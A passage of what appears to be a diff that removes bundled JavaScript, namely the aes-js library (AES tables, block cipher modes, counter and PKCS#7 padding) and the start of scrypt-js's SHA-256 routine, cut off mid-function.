1891211689, 2487810577, 3915653703, 4237083816, 4030667424, 2100090966, 865136418, 1229899655, 953270745, 3399679628, 3557504664, 4118925222, 2061379749, 3079546586, 2915017791, 983426092, 2022837584, 1607244650, 2118541908, 2366882550, 3635996816, 972512814, 3283088770, 1568718495, 3499326569, 3576539503, 621982671, 2895723464, 410887952, 2623762152, 1002142683, 645401037, 1494807662, 2595684844, 1335535747, 2507040230, 4293295786, 3167684641, 367585007, 3885750714, 1865862730, 2668221674, 2960971305, 2763173681, 1059270954, 2777952454, 2724642869, 1320957812, 2194319100, 2429595872, 2815956275, 77089521, 3973773121, 3444575871, 2448830231, 1305906550, 4021308739, 2857194700, 2516901860, 3518358430, 1787304780, 740276417, 1699839814, 1592394909, 2352307457, 2272556026, 188821243, 1729977011, 3687994002, 274084841, 3594982253, 3613494426, 2701949495, 4162096729, 322734571, 2837966542, 1640576439, 484830689, 1202797690, 3537852828, 4067639125, 349075736, 3342319475, 4157467219, 4255800159, 1030690015, 1155237496, 2951971274, 1757691577, 607398968, 2738905026, 499347990, 3794078908, 1011452712, 227885567, 2818666809, 213114376, 3034881240, 1455525988, 3414450555, 850817237, 1817998408, 3092726480]; - var U1 = [0, 235474187, 470948374, 303765277, 941896748, 908933415, 607530554, 708780849, 1883793496, 2118214995, 1817866830, 1649639237, 1215061108, 1181045119, 1417561698, 1517767529, 3767586992, 4003061179, 4236429990, 4069246893, 3635733660, 3602770327, 3299278474, 3400528769, 2430122216, 2664543715, 2362090238, 2193862645, 2835123396, 2801107407, 3035535058, 3135740889, 3678124923, 3576870512, 3341394285, 3374361702, 3810496343, 3977675356, 4279080257, 4043610186, 2876494627, 2776292904, 3076639029, 3110650942, 2472011535, 2640243204, 2403728665, 2169303058, 1001089995, 899835584, 666464733, 699432150, 59727847, 226906860, 530400753, 294930682, 1273168787, 1172967064, 1475418501, 1509430414, 1942435775, 2110667444, 1876241833, 1641816226, 2910219766, 2743034109, 2976151520, 3211623147, 2505202138, 2606453969, 2302690252, 2269728455, 3711829422, 3543599269, 3240894392, 3475313331, 3843699074, 3943906441, 4178062228, 4144047775, 1306967366, 1139781709, 1374988112, 1610459739, 1975683434, 2076935265, 1775276924, 1742315127, 1034867998, 866637845, 566021896, 800440835, 92987698, 193195065, 429456164, 395441711, 1984812685, 2017778566, 1784663195, 1683407248, 1315562145, 1080094634, 1383856311, 1551037884, 101039829, 135050206, 437757123, 337553864, 1042385657, 807962610, 573804783, 742039012, 2531067453, 2564033334, 2328828971, 2227573024, 2935566865, 2700099354, 3001755655, 3168937228, 3868552805, 3902563182, 4203181171, 4102977912, 3736164937, 3501741890, 3265478751, 3433712980, 1106041591, 1340463100, 1576976609, 1408749034, 2043211483, 2009195472, 1708848333, 1809054150, 832877231, 1068351396, 766945465, 599762354, 159417987, 126454664, 361929877, 463180190, 2709260871, 2943682380, 3178106961, 3009879386, 2572697195, 2538681184, 2236228733, 2336434550, 3509871135, 3745345300, 3441850377, 3274667266, 3910161971, 3877198648, 4110568485, 4211818798, 2597806476, 2497604743, 2261089178, 2295101073, 2733856160, 2902087851, 3202437046, 2968011453, 3936291284, 3835036895, 4136440770, 4169408201, 3535486456, 3702665459, 3467192302, 3231722213, 2051518780, 1951317047, 1716890410, 1750902305, 1113818384, 1282050075, 1584504582, 1350078989, 168810852, 67556463, 371049330, 404016761, 841739592, 1008918595, 775550814, 540080725, 3969562369, 3801332234, 4035489047, 4269907996, 3569255213, 3669462566, 3366754619, 3332740144, 2631065433, 2463879762, 2160117071, 2395588676, 2767645557, 2868897406, 3102011747, 3069049960, 202008497, 33778362, 270040487, 504459436, 875451293, 975658646, 675039627, 641025152, 2084704233, 1917518562, 1615861247, 1851332852, 1147550661, 1248802510, 1484005843, 1451044056, 933301370, 967311729, 733156972, 632953703, 260388950, 25965917, 328671808, 496906059, 1206477858, 1239443753, 1543208500, 1441952575, 2144161806, 1908694277, 1675577880, 1842759443, 3610369226, 3644379585, 3408119516, 3307916247, 4011190502, 3776767469, 4077384432, 4245618683, 2809771154, 2842737049, 3144396420, 3043140495, 2673705150, 2438237621, 2203032232, 2370213795]; - var U2 = [0, 185469197, 370938394, 487725847, 741876788, 657861945, 975451694, 824852259, 1483753576, 1400783205, 1315723890, 1164071807, 1950903388, 2135319889, 1649704518, 1767536459, 2967507152, 3152976349, 2801566410, 2918353863, 2631447780, 2547432937, 2328143614, 2177544179, 3901806776, 3818836405, 4270639778, 4118987695, 3299409036, 3483825537, 3535072918, 3652904859, 2077965243, 1893020342, 1841768865, 1724457132, 1474502543, 1559041666, 1107234197, 1257309336, 598438867, 681933534, 901210569, 1052338372, 261314535, 77422314, 428819965, 310463728, 3409685355, 3224740454, 3710368113, 3593056380, 3875770207, 3960309330, 4045380933, 4195456072, 2471224067, 2554718734, 2237133081, 2388260884, 3212035895, 3028143674, 2842678573, 2724322336, 4138563181, 4255350624, 3769721975, 3955191162, 3667219033, 3516619604, 3431546947, 3347532110, 2933734917, 2782082824, 3099667487, 3016697106, 2196052529, 2313884476, 2499348523, 2683765030, 1179510461, 1296297904, 1347548327, 1533017514, 1786102409, 1635502980, 2087309459, 2003294622, 507358933, 355706840, 136428751, 53458370, 839224033, 957055980, 605657339, 790073846, 2373340630, 2256028891, 2607439820, 2422494913, 2706270690, 2856345839, 3075636216, 3160175349, 3573941694, 3725069491, 3273267108, 3356761769, 4181598602, 4063242375, 4011996048, 3828103837, 1033297158, 915985419, 730517276, 545572369, 296679730, 446754879, 129166120, 213705253, 1709610350, 1860738147, 1945798516, 2029293177, 1239331162, 1120974935, 1606591296, 1422699085, 4148292826, 4233094615, 3781033664, 3931371469, 3682191598, 3497509347, 3446004468, 3328955385, 2939266226, 2755636671, 3106780840, 2988687269, 2198438022, 2282195339, 2501218972, 2652609425, 1201765386, 1286567175, 1371368976, 1521706781, 1805211710, 1620529459, 2105887268, 1988838185, 533804130, 350174575, 164439672, 46346101, 870912086, 954669403, 636813900, 788204353, 2358957921, 2274680428, 2592523643, 2441661558, 2695033685, 2880240216, 3065962831, 3182487618, 3572145929, 3756299780, 3270937875, 3388507166, 4174560061, 4091327024, 4006521127, 3854606378, 1014646705, 930369212, 711349675, 560487590, 272786309, 457992840, 106852767, 223377554, 1678381017, 1862534868, 1914052035, 2031621326, 1211247597, 1128014560, 1580087799, 1428173050, 32283319, 182621114, 401639597, 486441376, 768917123, 651868046, 1003007129, 818324884, 1503449823, 1385356242, 1333838021, 1150208456, 1973745387, 2125135846, 1673061617, 1756818940, 2970356327, 3120694122, 2802849917, 2887651696, 2637442643, 2520393566, 2334669897, 2149987652, 3917234703, 3799141122, 4284502037, 4100872472, 3309594171, 3460984630, 3545789473, 3629546796, 2050466060, 1899603969, 1814803222, 1730525723, 1443857720, 1560382517, 1075025698, 1260232239, 575138148, 692707433, 878443390, 1062597235, 243256656, 91341917, 409198410, 325965383, 3403100636, 3252238545, 3704300486, 3620022987, 3874428392, 3990953189, 4042459122, 4227665663, 2460449204, 2578018489, 2226875310, 2411029155, 3198115200, 3046200461, 2827177882, 2743944855]; - var U3 = [0, 218828297, 437656594, 387781147, 875313188, 958871085, 775562294, 590424639, 1750626376, 1699970625, 1917742170, 2135253587, 1551124588, 1367295589, 1180849278, 1265195639, 3501252752, 3720081049, 3399941250, 3350065803, 3835484340, 3919042237, 4270507174, 4085369519, 3102249176, 3051593425, 2734591178, 2952102595, 2361698556, 2177869557, 2530391278, 2614737639, 3145456443, 3060847922, 2708326185, 2892417312, 2404901663, 2187128086, 2504130317, 2555048196, 3542330227, 3727205754, 3375740769, 3292445032, 3876557655, 3926170974, 4246310725, 4027744588, 1808481195, 1723872674, 1910319033, 2094410160, 1608975247, 1391201670, 1173430173, 1224348052, 59984867, 244860394, 428169201, 344873464, 935293895, 984907214, 766078933, 547512796, 1844882806, 1627235199, 2011214180, 2062270317, 1507497298, 1423022939, 1137477952, 1321699145, 95345982, 145085239, 532201772, 313773861, 830661914, 1015671571, 731183368, 648017665, 3175501286, 2957853679, 2807058932, 2858115069, 2305455554, 2220981195, 2474404304, 2658625497, 3575528878, 3625268135, 3473416636, 3254988725, 3778151818, 3963161475, 4213447064, 4130281361, 3599595085, 3683022916, 3432737375, 3247465558, 3802222185, 4020912224, 4172763771, 4122762354, 3201631749, 3017672716, 2764249623, 2848461854, 2331590177, 2280796200, 2431590963, 2648976442, 104699613, 188127444, 472615631, 287343814, 840019705, 1058709744, 671593195, 621591778, 1852171925, 1668212892, 1953757831, 2037970062, 1514790577, 1463996600, 1080017571, 1297403050, 3673637356, 3623636965, 3235995134, 3454686199, 4007360968, 3822090177, 4107101658, 4190530515, 2997825956, 3215212461, 2830708150, 2779915199, 2256734592, 2340947849, 2627016082, 2443058075, 172466556, 122466165, 273792366, 492483431, 1047239e3, 861968209, 612205898, 695634755, 1646252340, 1863638845, 2013908262, 1963115311, 1446242576, 1530455833, 1277555970, 1093597963, 1636604631, 1820824798, 2073724613, 1989249228, 1436590835, 1487645946, 1337376481, 1119727848, 164948639, 81781910, 331544205, 516552836, 1039717051, 821288114, 669961897, 719700128, 2973530695, 3157750862, 2871682645, 2787207260, 2232435299, 2283490410, 2667994737, 2450346104, 3647212047, 3564045318, 3279033885, 3464042516, 3980931627, 3762502690, 4150144569, 4199882800, 3070356634, 3121275539, 2904027272, 2686254721, 2200818878, 2384911031, 2570832044, 2486224549, 3747192018, 3528626907, 3310321856, 3359936201, 3950355702, 3867060991, 4049844452, 4234721005, 1739656202, 1790575107, 2108100632, 1890328081, 1402811438, 1586903591, 1233856572, 1149249077, 266959938, 48394827, 369057872, 418672217, 1002783846, 919489135, 567498868, 752375421, 209336225, 24197544, 376187827, 459744698, 945164165, 895287692, 574624663, 793451934, 1679968233, 1764313568, 2117360635, 1933530610, 1343127501, 1560637892, 1243112415, 1192455638, 3704280881, 3519142200, 3336358691, 3419915562, 3907448597, 3857572124, 4075877127, 4294704398, 3029510009, 3113855344, 2927934315, 2744104290, 2159976285, 2377486676, 2594734927, 2544078150]; - var U4 = [0, 151849742, 303699484, 454499602, 607398968, 758720310, 908999204, 1059270954, 1214797936, 1097159550, 1517440620, 1400849762, 1817998408, 1699839814, 2118541908, 2001430874, 2429595872, 2581445614, 2194319100, 2345119218, 3034881240, 3186202582, 2801699524, 2951971274, 3635996816, 3518358430, 3399679628, 3283088770, 4237083816, 4118925222, 4002861748, 3885750714, 1002142683, 850817237, 698445255, 548169417, 529487843, 377642221, 227885567, 77089521, 1943217067, 2061379749, 1640576439, 1757691577, 1474760595, 1592394909, 1174215055, 1290801793, 2875968315, 2724642869, 3111247143, 2960971305, 2405426947, 2253581325, 2638606623, 2487810577, 3808662347, 3926825029, 4044981591, 4162096729, 3342319475, 3459953789, 3576539503, 3693126241, 1986918061, 2137062819, 1685577905, 1836772287, 1381620373, 1532285339, 1078185097, 1229899655, 1040559837, 923313619, 740276417, 621982671, 439452389, 322734571, 137073913, 19308535, 3871163981, 4021308739, 4104605777, 4255800159, 3263785589, 3414450555, 3499326569, 3651041127, 2933202493, 2815956275, 3167684641, 3049390895, 2330014213, 2213296395, 2566595609, 2448830231, 1305906550, 1155237496, 1607244650, 1455525988, 1776460110, 1626319424, 2079897426, 1928707164, 96392454, 213114376, 396673818, 514443284, 562755902, 679998e3, 865136418, 983426092, 3708173718, 3557504664, 3474729866, 3323011204, 4180808110, 4030667424, 3945269170, 3794078908, 2507040230, 2623762152, 2272556026, 2390325492, 2975484382, 3092726480, 2738905026, 2857194700, 3973773121, 3856137295, 4274053469, 4157467219, 3371096953, 3252932727, 3673476453, 3556361835, 2763173681, 2915017791, 3064510765, 3215307299, 2156299017, 2307622919, 2459735317, 2610011675, 2081048481, 1963412655, 1846563261, 1729977011, 1480485785, 1362321559, 1243905413, 1126790795, 878845905, 1030690015, 645401037, 796197571, 274084841, 425408743, 38544885, 188821243, 3613494426, 3731654548, 3313212038, 3430322568, 4082475170, 4200115116, 3780097726, 3896688048, 2668221674, 2516901860, 2366882550, 2216610296, 3141400786, 2989552604, 2837966542, 2687165888, 1202797690, 1320957812, 1437280870, 1554391400, 1669664834, 1787304780, 1906247262, 2022837584, 265905162, 114585348, 499347990, 349075736, 736970802, 585122620, 972512814, 821712160, 2595684844, 2478443234, 2293045232, 2174754046, 3196267988, 3079546586, 2895723464, 2777952454, 3537852828, 3687994002, 3234156416, 3385345166, 4142626212, 4293295786, 3841024952, 3992742070, 174567692, 57326082, 410887952, 292596766, 777231668, 660510266, 1011452712, 893681702, 1108339068, 1258480242, 1343618912, 1494807662, 1715193156, 1865862730, 1948373848, 2100090966, 2701949495, 2818666809, 3004591147, 3122358053, 2235061775, 2352307457, 2535604243, 2653899549, 3915653703, 3764988233, 4219352155, 4067639125, 3444575871, 3294430577, 3746175075, 3594982253, 836553431, 953270745, 600235211, 718002117, 367585007, 484830689, 133361907, 251657213, 2041877159, 1891211689, 1806599355, 1654886325, 1568718495, 1418573201, 1335535747, 1184342925]; - function convertToInt32(bytes) { - var result = []; - for (var i = 0; i < bytes.length; i += 4) { - result.push( - bytes[i] << 24 | bytes[i + 1] << 16 | bytes[i + 2] << 8 | bytes[i + 3] - ); - } - return result; - } - var AES = function(key3) { - if (!(this instanceof AES)) { - throw Error("AES must be instanitated with `new`"); - } - Object.defineProperty(this, "key", { - value: coerceArray(key3, true) - }); - this._prepare(); - }; - AES.prototype._prepare = function() { - var rounds = numberOfRounds[this.key.length]; - if (rounds == null) { - throw new Error("invalid key size (must be 16, 24 or 32 bytes)"); - } - this._Ke = []; - this._Kd = []; - for (var i = 0; i <= rounds; i++) { - this._Ke.push([0, 0, 0, 0]); - this._Kd.push([0, 0, 0, 0]); - } - var roundKeyCount = (rounds + 1) * 4; - var KC = this.key.length / 4; - var tk = convertToInt32(this.key); - var index2; - for (var i = 0; i < KC; i++) { - index2 = i >> 2; - this._Ke[index2][i % 4] = tk[i]; - this._Kd[rounds - index2][i % 4] = tk[i]; - } - var rconpointer = 0; - var t = KC, tt; - while (t < roundKeyCount) { - tt = tk[KC - 1]; - tk[0] ^= S[tt >> 16 & 255] << 24 ^ S[tt >> 8 & 255] << 16 ^ S[tt & 255] << 8 ^ S[tt >> 24 & 255] ^ rcon[rconpointer] << 24; - rconpointer += 1; - if (KC != 8) { - for (var i = 1; i < KC; i++) { - tk[i] ^= tk[i - 1]; - } - } else { - for (var i = 1; i < KC / 2; i++) { - tk[i] ^= tk[i - 1]; - } - tt = tk[KC / 2 - 1]; - tk[KC / 2] ^= S[tt & 255] ^ S[tt >> 8 & 255] << 8 ^ S[tt >> 16 & 255] << 16 ^ S[tt >> 24 & 255] << 24; - for (var i = KC / 2 + 1; i < KC; i++) { - tk[i] ^= tk[i - 1]; - } - } - var i = 0, r3, c; - while (i < KC && t < roundKeyCount) { - r3 = t >> 2; - c = t % 4; - this._Ke[r3][c] = tk[i]; - this._Kd[rounds - r3][c] = tk[i++]; - t++; - } - } - for (var r3 = 1; r3 < rounds; r3++) { - for (var c = 0; c < 4; c++) { - tt = this._Kd[r3][c]; - this._Kd[r3][c] = U1[tt >> 24 & 255] ^ U2[tt >> 16 & 255] ^ U3[tt >> 8 & 255] ^ U4[tt & 255]; - } - } - }; - AES.prototype.encrypt = function(plaintext) { - if (plaintext.length != 16) { - throw new Error("invalid plaintext size (must be 16 bytes)"); - } - var rounds = this._Ke.length - 1; - var a = [0, 0, 0, 0]; - var t = convertToInt32(plaintext); - for (var i = 0; i < 4; i++) { - t[i] ^= this._Ke[0][i]; - } - for (var r3 = 1; r3 < rounds; r3++) { - for (var i = 0; i < 4; i++) { - a[i] = T1[t[i] >> 24 & 255] ^ T2[t[(i + 1) % 4] >> 16 & 255] ^ T3[t[(i + 2) % 4] >> 8 & 255] ^ T4[t[(i + 3) % 4] & 255] ^ this._Ke[r3][i]; - } - t = a.slice(); - } - var result = createArray(16), tt; - for (var i = 0; i < 4; i++) { - tt = this._Ke[rounds][i]; - result[4 * i] = (S[t[i] >> 24 & 255] ^ tt >> 24) & 255; - result[4 * i + 1] = (S[t[(i + 1) % 4] >> 16 & 255] ^ tt >> 16) & 255; - result[4 * i + 2] = (S[t[(i + 2) % 4] >> 8 & 255] ^ tt >> 8) & 255; - result[4 * i + 3] = (S[t[(i + 3) % 4] & 255] ^ tt) & 255; - } - return result; - }; - AES.prototype.decrypt = function(ciphertext) { - if (ciphertext.length != 16) { - throw new Error("invalid ciphertext size (must be 16 bytes)"); - } - var rounds = this._Kd.length - 1; - var a = [0, 0, 0, 0]; - var t = convertToInt32(ciphertext); - for (var i = 0; i < 4; i++) { - t[i] ^= this._Kd[0][i]; - } - for (var r3 = 1; r3 < rounds; r3++) { - for (var i = 0; i < 4; i++) { - a[i] = T5[t[i] >> 24 & 255] ^ T6[t[(i + 3) % 4] >> 16 & 255] ^ T7[t[(i + 2) % 4] >> 8 & 255] ^ T8[t[(i + 1) % 4] & 255] ^ this._Kd[r3][i]; - } - t = a.slice(); - } - var result = createArray(16), tt; - for (var i = 0; i < 4; i++) { - tt = this._Kd[rounds][i]; - result[4 * i] = (Si[t[i] >> 24 & 255] ^ tt >> 24) & 255; - result[4 * i + 1] = (Si[t[(i + 3) % 4] >> 16 & 255] ^ tt >> 16) & 255; - result[4 * i + 2] = (Si[t[(i + 2) % 4] >> 8 & 255] ^ tt >> 8) & 255; - result[4 * i + 3] = (Si[t[(i + 1) % 4] & 255] ^ tt) & 255; - } - return result; - }; - var ModeOfOperationECB = function(key3) { - if (!(this instanceof ModeOfOperationECB)) { - throw Error("AES must be instanitated with `new`"); - } - this.description = "Electronic Code Block"; - this.name = "ecb"; - this._aes = new AES(key3); - }; - ModeOfOperationECB.prototype.encrypt = function(plaintext) { - plaintext = coerceArray(plaintext); - if (plaintext.length % 16 !== 0) { - throw new Error("invalid plaintext size (must be multiple of 16 bytes)"); - } - var ciphertext = createArray(plaintext.length); - var block = createArray(16); - for (var i = 0; i < plaintext.length; i += 16) { - copyArray(plaintext, block, 0, i, i + 16); - block = this._aes.encrypt(block); - copyArray(block, ciphertext, i); - } - return ciphertext; - }; - ModeOfOperationECB.prototype.decrypt = function(ciphertext) { - ciphertext = coerceArray(ciphertext); - if (ciphertext.length % 16 !== 0) { - throw new Error("invalid ciphertext size (must be multiple of 16 bytes)"); - } - var plaintext = createArray(ciphertext.length); - var block = createArray(16); - for (var i = 0; i < ciphertext.length; i += 16) { - copyArray(ciphertext, block, 0, i, i + 16); - block = this._aes.decrypt(block); - copyArray(block, plaintext, i); - } - return plaintext; - }; - var ModeOfOperationCBC = function(key3, iv) { - if (!(this instanceof ModeOfOperationCBC)) { - throw Error("AES must be instanitated with `new`"); - } - this.description = "Cipher Block Chaining"; - this.name = "cbc"; - if (!iv) { - iv = createArray(16); - } else if (iv.length != 16) { - throw new Error("invalid initialation vector size (must be 16 bytes)"); - } - this._lastCipherblock = coerceArray(iv, true); - this._aes = new AES(key3); - }; - ModeOfOperationCBC.prototype.encrypt = function(plaintext) { - plaintext = coerceArray(plaintext); - if (plaintext.length % 16 !== 0) { - throw new Error("invalid plaintext size (must be multiple of 16 bytes)"); - } - var ciphertext = createArray(plaintext.length); - var block = createArray(16); - for (var i = 0; i < plaintext.length; i += 16) { - copyArray(plaintext, block, 0, i, i + 16); - for (var j = 0; j < 16; j++) { - block[j] ^= this._lastCipherblock[j]; - } - this._lastCipherblock = this._aes.encrypt(block); - copyArray(this._lastCipherblock, ciphertext, i); - } - return ciphertext; - }; - ModeOfOperationCBC.prototype.decrypt = function(ciphertext) { - ciphertext = coerceArray(ciphertext); - if (ciphertext.length % 16 !== 0) { - throw new Error("invalid ciphertext size (must be multiple of 16 bytes)"); - } - var plaintext = createArray(ciphertext.length); - var block = createArray(16); - for (var i = 0; i < ciphertext.length; i += 16) { - copyArray(ciphertext, block, 0, i, i + 16); - block = this._aes.decrypt(block); - for (var j = 0; j < 16; j++) { - plaintext[i + j] = block[j] ^ this._lastCipherblock[j]; - } - copyArray(ciphertext, this._lastCipherblock, 0, i, i + 16); - } - return plaintext; - }; - var ModeOfOperationCFB = function(key3, iv, segmentSize) { - if (!(this instanceof ModeOfOperationCFB)) { - throw Error("AES must be instanitated with `new`"); - } - this.description = "Cipher Feedback"; - this.name = "cfb"; - if (!iv) { - iv = createArray(16); - } else if (iv.length != 16) { - throw new Error("invalid initialation vector size (must be 16 size)"); - } - if (!segmentSize) { - segmentSize = 1; - } - this.segmentSize = segmentSize; - this._shiftRegister = coerceArray(iv, true); - this._aes = new AES(key3); - }; - ModeOfOperationCFB.prototype.encrypt = function(plaintext) { - if (plaintext.length % this.segmentSize != 0) { - throw new Error("invalid plaintext size (must be segmentSize bytes)"); - } - var encrypted = coerceArray(plaintext, true); - var xorSegment; - for (var i = 0; i < encrypted.length; i += this.segmentSize) { - xorSegment = this._aes.encrypt(this._shiftRegister); - for (var j = 0; j < this.segmentSize; j++) { - encrypted[i + j] ^= xorSegment[j]; - } - copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize); - copyArray(encrypted, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize); - } - return encrypted; - }; - ModeOfOperationCFB.prototype.decrypt = function(ciphertext) { - if (ciphertext.length % this.segmentSize != 0) { - throw new Error("invalid ciphertext size (must be segmentSize bytes)"); - } - var plaintext = coerceArray(ciphertext, true); - var xorSegment; - for (var i = 0; i < plaintext.length; i += this.segmentSize) { - xorSegment = this._aes.encrypt(this._shiftRegister); - for (var j = 0; j < this.segmentSize; j++) { - plaintext[i + j] ^= xorSegment[j]; - } - copyArray(this._shiftRegister, this._shiftRegister, 0, this.segmentSize); - copyArray(ciphertext, this._shiftRegister, 16 - this.segmentSize, i, i + this.segmentSize); - } - return plaintext; - }; - var ModeOfOperationOFB = function(key3, iv) { - if (!(this instanceof ModeOfOperationOFB)) { - throw Error("AES must be instanitated with `new`"); - } - this.description = "Output Feedback"; - this.name = "ofb"; - if (!iv) { - iv = createArray(16); - } else if (iv.length != 16) { - throw new Error("invalid initialation vector size (must be 16 bytes)"); - } - this._lastPrecipher = coerceArray(iv, true); - this._lastPrecipherIndex = 16; - this._aes = new AES(key3); - }; - ModeOfOperationOFB.prototype.encrypt = function(plaintext) { - var encrypted = coerceArray(plaintext, true); - for (var i = 0; i < encrypted.length; i++) { - if (this._lastPrecipherIndex === 16) { - this._lastPrecipher = this._aes.encrypt(this._lastPrecipher); - this._lastPrecipherIndex = 0; - } - encrypted[i] ^= this._lastPrecipher[this._lastPrecipherIndex++]; - } - return encrypted; - }; - ModeOfOperationOFB.prototype.decrypt = ModeOfOperationOFB.prototype.encrypt; - var Counter = function(initialValue) { - if (!(this instanceof Counter)) { - throw Error("Counter must be instanitated with `new`"); - } - if (initialValue !== 0 && !initialValue) { - initialValue = 1; - } - if (typeof initialValue === "number") { - this._counter = createArray(16); - this.setValue(initialValue); - } else { - this.setBytes(initialValue); - } - }; - Counter.prototype.setValue = function(value) { - if (typeof value !== "number" || parseInt(value) != value) { - throw new Error("invalid counter value (must be an integer)"); - } - for (var index2 = 15; index2 >= 0; --index2) { - this._counter[index2] = value % 256; - value = value >> 8; - } - }; - Counter.prototype.setBytes = function(bytes) { - bytes = coerceArray(bytes, true); - if (bytes.length != 16) { - throw new Error("invalid counter bytes size (must be 16 bytes)"); - } - this._counter = bytes; - }; - Counter.prototype.increment = function() { - for (var i = 15; i >= 0; i--) { - if (this._counter[i] === 255) { - this._counter[i] = 0; - } else { - this._counter[i]++; - break; - } - } - }; - var ModeOfOperationCTR = function(key3, counter) { - if (!(this instanceof ModeOfOperationCTR)) { - throw Error("AES must be instanitated with `new`"); - } - this.description = "Counter"; - this.name = "ctr"; - if (!(counter instanceof Counter)) { - counter = new Counter(counter); - } - this._counter = counter; - this._remainingCounter = null; - this._remainingCounterIndex = 16; - this._aes = new AES(key3); - }; - ModeOfOperationCTR.prototype.encrypt = function(plaintext) { - var encrypted = coerceArray(plaintext, true); - for (var i = 0; i < encrypted.length; i++) { - if (this._remainingCounterIndex === 16) { - this._remainingCounter = this._aes.encrypt(this._counter._counter); - this._remainingCounterIndex = 0; - this._counter.increment(); - } - encrypted[i] ^= this._remainingCounter[this._remainingCounterIndex++]; - } - return encrypted; - }; - ModeOfOperationCTR.prototype.decrypt = ModeOfOperationCTR.prototype.encrypt; - function pkcs7pad(data) { - data = coerceArray(data, true); - var padder = 16 - data.length % 16; - var result = createArray(data.length + padder); - copyArray(data, result); - for (var i = data.length; i < result.length; i++) { - result[i] = padder; - } - return result; - } - function pkcs7strip(data) { - data = coerceArray(data, true); - if (data.length < 16) { - throw new Error("PKCS#7 invalid length"); - } - var padder = data[data.length - 1]; - if (padder > 16) { - throw new Error("PKCS#7 padding byte out of range"); - } - var length = data.length - padder; - for (var i = 0; i < padder; i++) { - if (data[length + i] !== padder) { - throw new Error("PKCS#7 invalid padding byte"); - } - } - var result = createArray(length); - copyArray(data, result, 0, 0, length); - return result; - } - var aesjs = { - AES, - Counter, - ModeOfOperation: { - ecb: ModeOfOperationECB, - cbc: ModeOfOperationCBC, - cfb: ModeOfOperationCFB, - ofb: ModeOfOperationOFB, - ctr: ModeOfOperationCTR - }, - utils: { - hex: convertHex, - utf8: convertUtf8 - }, - padding: { - pkcs7: { - pad: pkcs7pad, - strip: pkcs7strip - } - }, - _arrayTest: { - coerceArray, - createArray, - copyArray - } - }; - if (typeof exports !== "undefined") { - module.exports = aesjs; - } else if (typeof define === "function" && define.amd) { - define(aesjs); - } else { - if (root.aesjs) { - aesjs._aesjs = root.aesjs; - } - root.aesjs = aesjs; - } - })(exports); - } - }); - - // node_modules/scrypt-js/scrypt.js - var require_scrypt = __commonJS({ - "node_modules/scrypt-js/scrypt.js"(exports, module) { - "use strict"; - (function(root) { - const MAX_VALUE = 2147483647; - function SHA256(m) { - const K = new Uint32Array([ - 1116352408, - 1899447441, - 3049323471, - 3921009573, - 961987163, - 1508970993, - 2453635748, - 2870763221, - 3624381080, - 310598401, - 607225278, - 1426881987, - 1925078388, - 2162078206, - 2614888103, - 3248222580, - 3835390401, - 4022224774, - 264347078, - 604807628, - 770255983, - 1249150122, - 1555081692, - 1996064986, - 2554220882, - 2821834349, - 2952996808, - 3210313671, - 3336571891, - 3584528711, - 113926993, - 338241895, - 666307205, - 773529912, - 1294757372, - 1396182291, - 1695183700, - 1986661051, - 2177026350, - 2456956037, - 2730485921, - 2820302411, - 3259730800, - 3345764771, - 3516065817, - 3600352804, - 4094571909, - 275423344, - 430227734, - 506948616, - 659060556, - 883997877, - 958139571, - 1322822218, - 1537002063, - 1747873779, - 1955562222, - 2024104815, - 2227730452, - 2361852424, - 2428436474, - 2756734187, - 3204031479, - 3329325298 - ]); - let h0 = 1779033703, h1 = 3144134277, h2 = 1013904242, h3 = 2773480762; - let h4 = 1359893119, h5 = 2600822924, h6 = 528734635, h7 = 1541459225; - const w = new Uint32Array(64); - function blocks(p2) { - let off = 0, len = p2.length; - while (len >= 64) { - let a = h0, b = h1, c = h2, d = h3, e = h4, f = h5, g = h6, h = h7, u, i2, j, t1, t2; - for (i2 = 0; i2 < 16; i2++) { - j = off + i2 * 4; - w[i2] = (p2[j] & 255) << 24 | (p2[j + 1] & 255) << 16 | (p2[j + 2] & 255) << 8 | p2[j + 3] & 255; - } - for (i2 = 16; i2 < 64; i2++) { - u = w[i2 - 2]; - t1 = (u >>> 17 | u << 32 - 17) ^ (u >>> 19 | u << 32 - 19) ^ u >>> 10; - u = w[i2 - 15]; - t2 = (u >>> 7 | u << 32 - 7) ^ (u >>> 18 | u << 32 - 18) ^ u >>> 3; - w[i2] = (t1 + w[i2 - 7] | 0) + (t2 + w[i2 - 16] | 0) | 0; - } - for (i2 = 0; i2 < 64; i2++) { - t1 = (((e >>> 6 | e << 32 - 6) ^ (e >>> 11 | e << 32 - 11) ^ (e >>> 25 | e << 32 - 25)) + (e & f ^ ~e & g) | 0) + (h + (K[i2] + w[i2] | 0) | 0) | 0; - t2 = ((a >>> 2 | a << 32 - 2) ^ (a >>> 13 | a << 32 - 13) ^ (a >>> 22 | a << 32 - 22)) + (a & b ^ a & c ^ b & c) | 0; - h = g; - g = f; - f = e; - e = d + t1 | 0; - d = c; - c = b; - b = a; - a = t1 + t2 | 0; - } - h0 = h0 + a | 0; - h1 = h1 + b | 0; - h2 = h2 + c | 0; - h3 = h3 + d | 0; - h4 = h4 + e | 0; - h5 = h5 + f | 0; - h6 = h6 + g | 0; - h7 = h7 + h | 0; - off += 64; - len -= 64; - } - } - blocks(m); - let i, bytesLeft = m.length % 64, bitLenHi = m.length / 536870912 | 0, bitLenLo = m.length << 3, numZeros = bytesLeft < 56 ? 56 : 120, p = m.slice(m.length - bytesLeft, m.length); - p.push(128); - for (i = bytesLeft + 1; i < numZeros; i++) { - p.push(0); - } - p.push(bitLenHi >>> 24 & 255); - p.push(bitLenHi >>> 16 & 255); - p.push(bitLenHi >>> 8 & 255); - p.push(bitLenHi >>> 0 & 255); - p.push(bitLenLo >>> 24 & 255); - p.push(bitLenLo >>> 16 & 255); - p.push(bitLenLo >>> 8 & 255); - p.push(bitLenLo >>> 0 & 255); - blocks(p); - return [ - h0 >>> 24 & 255, - h0 >>> 16 & 255, - h0 >>> 8 & 255, - h0 >>> 0 & 255, - h1 >>> 24 & 255, - h1 >>> 16 & 255, - h1 >>> 8 & 255, - h1 >>> 0 & 255, - h2 >>> 24 & 255, - h2 >>> 16 & 255, - h2 >>> 8 & 255, - h2 >>> 0 & 255, - h3 >>> 24 & 255, - h3 >>> 16 & 255, - h3 >>> 8 & 255, - h3 >>> 0 & 255, - h4 >>> 24 & 255, - h4 >>> 16 & 255, - h4 >>> 8 & 255, - h4 >>> 0 & 255, - h5 >>> 24 & 255, - h5 >>> 16 & 255, - h5 >>> 8 